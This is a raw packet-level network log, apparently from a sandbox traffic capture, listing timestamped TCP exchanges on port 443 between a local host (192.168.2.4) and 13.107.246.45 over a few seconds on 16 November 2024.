Nov 16, 2024 20:13:39.476350069 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.476844072 CET	50079	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.476849079 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.487919092 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.487950087 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.487997055 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.488018990 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.488044024 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.488241911 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.488260031 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.488270998 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.488276005 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.491235971 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.491288900 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.491364956 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.491488934 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.491509914 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.619625092 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.619700909 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.619761944 CET	50079	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.620028019 CET	50079	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.620047092 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.620058060 CET	50079	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.620063066 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.623405933 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.623440027 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.623517990 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.623770952 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.623780012 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.857088089 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.857696056 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.857733965 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.858314037 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.858320951 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.990776062 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.991703033 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.991770029 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.991808891 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.991823912 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.991837025 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.991842031 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.995604992 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.995697975 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.995785952 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.995943069 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.995970011 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.017071009 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.017508030 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.017563105 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.017982960 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.018002987 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.132498026 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.133073092 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.133093119 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.133743048 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.133749008 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.147943974 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.147989035 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.148040056 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.148078918 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.148149014 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.148201942 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.148291111 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.148313046 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.148330927 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.148339033 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.153261900 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.153281927 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.153340101 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.153477907 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.153490067 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.411282063 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.411478996 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.411648989 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.411681890 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.411681890 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.411698103 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.411708117 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.412959099 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.413474083 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.413523912 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.413940907 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.413950920 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.415677071 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.415736914 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.415813923 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.415932894 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.415942907 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.538460016 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.544399023 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.544414043 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.544914007 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.544918060 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.546610117 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.546633959 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.546694040 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.546796083 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.546797037 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.547059059 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.547085047 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.547102928 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.547108889 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.738634109 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.771348953 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.771373987 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.771445036 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.771585941 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.771585941 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.789762020 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.800514936 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.800529003 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.801249981 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.801256895 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.802670956 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.802685976 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.802699089 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.802702904 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.808814049 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.808849096 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.808907032 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.809073925 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.809088945 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.809634924 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.809679031 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.809742928 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.809897900 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.809911966 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.885350943 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.885847092 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.885867119 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.886429071 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.886432886 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.928172112 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.928199053 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.928277016 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.928370953 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.928370953 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.928625107 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.928625107 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.928658009 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.928675890 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.931760073 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.931797028 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:40.931874990 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.932029963 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:40.932039976 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.017321110 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.017374039 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.017436981 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.017460108 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.017503977 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.017646074 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.017678022 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.017685890 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.017694950 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.017699003 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.020391941 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.020479918 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.020575047 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.020729065 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.020749092 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.152920961 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.153490067 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.153523922 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.154460907 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.154473066 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.281897068 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.281992912 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.282054901 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.288053036 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.288105011 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.288134098 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.288147926 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.291146994 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.291208982 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.291302919 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.291451931 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.291469097 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.542484999 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.543507099 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.543534040 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.543880939 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.543889046 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.550436020 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.550771952 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.550789118 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.551175117 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.551181078 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.665304899 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.665843010 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.665872097 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.666357040 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.666364908 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.670881033 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.670970917 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.671057940 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.671253920 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.671303034 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.671358109 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.671375036 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.674045086 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.674086094 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.674169064 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.674295902 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.674308062 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.682311058 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.682411909 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.682463884 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.682543993 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.682563066 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.682575941 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.682581902 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.684827089 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.684868097 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.684923887 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.685024977 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.685036898 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.767465115 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.771909952 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.771944046 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.772389889 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.772402048 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.793932915 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.794307947 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.794385910 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.794600964 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.794620037 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.794631958 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.794636965 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.797575951 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.797616005 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.797688961 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.797837019 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.797856092 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.906049013 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.906116962 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.906198978 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.906228065 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.906260014 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.906373978 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.906471014 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.906471014 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.906492949 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.906514883 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.909522057 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.909553051 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:41.909658909 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.909812927 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:41.909853935 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.036669970 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.038734913 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.038815022 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.039185047 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.039200068 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.168518066 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.168665886 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.168771982 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.168853045 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.168853998 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.168948889 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.168991089 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.169023037 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.169039965 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.171843052 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.171874046 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.171948910 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.172108889 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.172116995 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.411971092 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.412587881 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.412619114 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.412930965 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.413084030 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.413094044 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.413311958 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.413395882 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.413610935 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.413625002 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.541569948 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.541599035 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.541698933 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.541723967 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.541882992 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.541999102 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.541999102 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.542045116 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.542073965 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.544668913 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.544733047 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.544820070 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.544960022 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.544977903 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.578785896 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.582300901 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.582345009 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.582694054 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.582701921 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.664273024 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.664297104 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.664320946 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.664438963 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.664462090 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.664518118 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.665045023 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.665112972 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.665112972 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.665261030 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.665282965 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.665297031 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.665303946 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.665318012 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.665323019 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.668247938 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.668297052 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.668366909 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.668545008 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.668556929 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.691806078 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.694189072 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.694230080 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.694653988 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.694665909 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.822609901 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.822669983 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.822818041 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.822855949 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.822913885 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.823183060 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.823209047 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.823235989 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.823252916 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.826440096 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.826474905 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.826580048 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.826689959 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.826703072 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.864187956 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.864270926 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.864315033 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.864383936 CET	50095	443	192.168.2.4	13.107.246.45
